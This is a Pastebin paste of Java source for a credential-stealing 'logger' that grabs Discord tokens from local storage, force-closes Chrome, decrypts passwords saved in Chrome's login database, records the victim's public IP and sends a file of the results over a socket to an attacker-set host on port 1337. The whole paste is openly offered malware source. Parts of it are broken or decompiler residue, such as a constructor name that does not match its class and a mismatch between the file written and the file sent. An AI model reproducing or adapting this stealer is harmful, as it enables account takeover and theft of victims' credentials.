Advertisement
hakman1337

malicious logger meme L

Jul 14th, 2018
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.89 KB | None | 0 0
  1. // set ur port to 1337
  2. public class Hakting {
  3. private String user = System.getProperty("user.name");
  4. private String filepath;
  5. public static Map paths = new HashMap();
  6.  
  7. public Logger() throws SQLException, IOException {
  8. this.filepath = "C:\\Users\\" + this.user + "\\AppData\\Local\\Google\\Chrome\\User Data\\";
  9. this.run();
  10. }
  11.  
  12. public void run() throws SQLException, IOException {
  13. System.out.println("Started!");
  14. Socket socket = null;
  15. String host = "IP HERE";
  16. socket = new Socket(host, 1337);
  17. String pathApp = System.getenv("APPDATA") + "\\discord\\Local Storage\\https_discordapp.com_0.localstorage";
  18. String pathPtb = System.getenv("APPDATA") + "\\discordptb\\Local Storage\\https_ptb.discordapp.com_0.localstorage";
  19. String pathCanary = System.getenv("APPDATA") + "\\discordcanary\\Local Storage\\https_canary.discordapp.com_0.localstorage";
  20. addPath(pathApp, "discordapp");
  21. addPath(pathPtb, "discordptb");
  22. addPath(pathCanary, "discordcanary");
  23. String messageBody = "";
  24. Iterator var8 = paths.keySet().iterator();
  25.  
  26. while(true) {
  27. String pa;
  28. String thing;
  29. do {
  30. if (!var8.hasNext()) {
  31. messageBody = messageBody.trim();
  32. ArrayList files = this.getFiles();
  33. ArrayList passwords = new ArrayList();
  34. ArrayList usernames = new ArrayList();
  35. ArrayList urls = new ArrayList();
  36. ArrayList results = new ArrayList();
  37. ArrayList results2 = new ArrayList();
  38. ArrayList results3 = new ArrayList();
  39. closeChrome();
  40. String uploadInfo = "";
  41. Iterator var16 = files.iterator();
  42.  
  43. while(var16.hasNext()) {
  44. String i = (String)var16.next();
  45. results.add(this.getResultSet(i));
  46. results2.add(this.getResultSet(i));
  47. results3.add(this.getResultSet(i));
  48. }
  49.  
  50. var16 = results.iterator();
  51.  
  52. ResultSet i;
  53. while(var16.hasNext()) {
  54. i = (ResultSet)var16.next();
  55. passwords.add(this.getPass(i));
  56. }
  57.  
  58. var16 = results2.iterator();
  59.  
  60. while(var16.hasNext()) {
  61. i = (ResultSet)var16.next();
  62. usernames.add(this.getUser(i));
  63. }
  64.  
  65. var16 = results3.iterator();
  66.  
  67. while(var16.hasNext()) {
  68. i = (ResultSet)var16.next();
  69. urls.add(this.getUrl(i));
  70. }
  71.  
  72. openChrome();
  73.  
  74. for(int i = 0; i < usernames.size(); ++i) {
  75. for(int j = 0; j < ((ArrayList)usernames.get(i)).size(); ++j) {
  76. uploadInfo = uploadInfo + "Username: " + (String)((ArrayList)usernames.get(i)).get(j) + System.lineSeparator() + "Passwords: " + (String)((ArrayList)passwords.get(i)).get(j) + System.lineSeparator() + "URL: " + (String)((ArrayList)urls.get(i)).get(j) + "\n" + "\n";
  77. }
  78. }
  79.  
  80. URL url = new URL("http://checkip.amazonaws.com/");
  81. BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
  82. closeChrome();
  83.  
  84. try {
  85. BufferedWriter writer = new BufferedWriter(new FileWriter("./pwds.txt"));
  86. writer.write(messageBody + "\n" + "\n" + "IP: " + br.readLine() + "\n" + "\n" + "-+==Login Detials==+-" + "\n" + "\n" + uploadInfo);
  87. writer.close();
  88. } catch (IOException var24) {
  89. var24.printStackTrace();
  90. }
  91.  
  92. System.out.print("Success!");
  93. File file = new File("./P4SSW0RDS.txt");
  94. long length = file.length();
  95. byte[] bytes = new byte[1024];
  96. InputStream in = new FileInputStream(file);
  97. OutputStream out = socket.getOutputStream();
  98.  
  99. int count;
  100. while((count = in.read(bytes)) > 0) {
  101. out.write(bytes, 0, count);
  102. }
  103.  
  104. out.close();
  105. in.close();
  106. socket.close();
  107. return;
  108. }
  109.  
  110. pa = (String)var8.next();
  111. thing = getToken(new File(pa));
  112. } while(!thing.startsWith("\""));
  113.  
  114. String formatted = "";
  115. char[] var14;
  116. int var13 = (var14 = thing.toCharArray()).length;
  117.  
  118. for(int var12 = 0; var12 < var13; ++var12) {
  119. char c = var14[var12];
  120. if (c != 0) {
  121. formatted = formatted + c;
  122. }
  123. }
  124.  
  125. System.out.println("Working...");
  126. messageBody = messageBody + ((String)paths.get(pa)).toUpperCase() + " : " + formatted;
  127. messageBody = messageBody + "\n";
  128. }
  129. }
  130.  
  131. public static File getOwnFile() {
  132. try {
  133. File f = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  134. return f;
  135. } catch (URISyntaxException var2) {
  136. var2.printStackTrace();
  137. return null;
  138. }
  139. }
  140.  
  141. public static void addPath(String p, String info) {
  142. File f = new File(p);
  143. if (f.exists()) {
  144. paths.put(p, info);
  145. }
  146.  
  147. }
  148.  
  149. public static String getToken(File f) {
  150. Connection c = null;
  151.  
  152. try {
  153. c = read(f);
  154. } catch (Exception var5) {
  155. var5.printStackTrace();
  156. return "WUT";
  157. }
  158.  
  159. ResultSet results;
  160. try {
  161. results = c.createStatement().executeQuery("SELECT * FROM ItemTable");
  162. } catch (SQLException var4) {
  163. var4.printStackTrace();
  164. return "ERR";
  165. }
  166.  
  167. try {
  168. while(results.next()) {
  169. if (results.getString("key").equalsIgnoreCase("token")) {
  170. return results.getString("value");
  171. }
  172. }
  173. } catch (SQLException var6) {
  174. var6.printStackTrace();
  175. }
  176.  
  177. return "Not found";
  178. }
  179.  
  180. public static Connection read(File file) throws Exception {
  181. Path tempDB = Files.createTempFile("WUT_" + (new Random()).nextInt(), (String)null);
  182. FileOutputStream out = new FileOutputStream(tempDB.toFile());
  183. Files.copy(Paths.get(file.getPath()), out);
  184. out.close();
  185. tempDB.toFile().deleteOnExit();
  186. SQLiteConfig config = new SQLiteConfig();
  187. config.setReadOnly(true);
  188. config.setTransactionMode(TransactionMode.EXCLUSIVE);
  189. Connection db = config.createConnection("jdbc:sqlite:" + tempDB.toString());
  190. db.setAutoCommit(true);
  191. return db;
  192. }
  193.  
  194. public ArrayList getFiles() {
  195. ArrayList folders = new ArrayList();
  196. File file = new File(this.filepath);
  197. String[] directories = file.list(new 1(this));
  198. String[] var7 = directories;
  199. int var6 = directories.length;
  200.  
  201. for(int var5 = 0; var5 < var6; ++var5) {
  202. String i = var7[var5];
  203. if (i.matches("^(Default|Profile).*")) {
  204. folders.add(this.filepath + i + "\\Login Data");
  205. }
  206. }
  207.  
  208. return folders;
  209. }
  210.  
  211. public ResultSet getResultSet(String file) {
  212. try {
  213. Class.forName("org.sqlite.JDBC");
  214. Connection connection = DriverManager.getConnection("jdbc:sqlite:" + file);
  215. Statement statement = connection.createStatement();
  216. ResultSet resultSet = statement.executeQuery("SELECT username_value, password_value, origin_url FROM logins");
  217. return resultSet;
  218. } catch (Exception var5) {
  219. var5.printStackTrace();
  220. return null;
  221. }
  222. }
  223.  
  224. public ArrayList getPass(ResultSet r) throws SQLException {
  225. ArrayList passwords = new ArrayList();
  226.  
  227. while(r.next()) {
  228. byte[] decryptedData = Crypt32Util.cryptUnprotectData(r.getBytes(2));
  229. StringBuilder decryptedString = new StringBuilder();
  230. byte[] var8 = decryptedData;
  231. int var7 = decryptedData.length;
  232.  
  233. for(int var6 = 0; var6 < var7; ++var6) {
  234. byte b = var8[var6];
  235. decryptedString.append((char)b);
  236. }
  237.  
  238. passwords.add(decryptedString.toString());
  239. }
  240.  
  241. return passwords;
  242. }
  243.  
  244. public ArrayList getUser(ResultSet r) throws SQLException {
  245. ArrayList usernames = new ArrayList();
  246.  
  247. while(r.next()) {
  248. byte[] userData = r.getBytes(1);
  249. StringBuilder userString = new StringBuilder();
  250. byte[] var8 = userData;
  251. int var7 = userData.length;
  252.  
  253. for(int var6 = 0; var6 < var7; ++var6) {
  254. byte b = var8[var6];
  255. userString.append((char)b);
  256. }
  257.  
  258. usernames.add(userString.toString());
  259. }
  260.  
  261. return usernames;
  262. }
  263.  
  264. public ArrayList getUrl(ResultSet r) throws SQLException {
  265. ArrayList urls = new ArrayList();
  266.  
  267. while(r.next()) {
  268. byte[] urlData = r.getBytes(3);
  269. StringBuilder urlString = new StringBuilder();
  270. byte[] var8 = urlData;
  271. int var7 = urlData.length;
  272.  
  273. for(int var6 = 0; var6 < var7; ++var6) {
  274. byte b = var8[var6];
  275. urlString.append((char)b);
  276. }
  277.  
  278. urls.add(urlString.toString());
  279. }
  280.  
  281. return urls;
  282. }
  283.  
  284. public static void closeChrome() throws IOException {
  285. try {
  286. Process p = Runtime.getRuntime().exec("taskkill /F /IM chrome.exe");
  287. p.waitFor();
  288. } catch (Exception var1) {
  289. var1.printStackTrace();
  290. }
  291.  
  292. }
  293.  
  294. public static void openChrome() {
  295. try {
  296. Process var0 = Runtime.getRuntime().exec("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe --restore-last-session");
  297. } catch (Exception var1) {
  298. var1.printStackTrace();
  299. }
  300.  
  301. }
  302. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement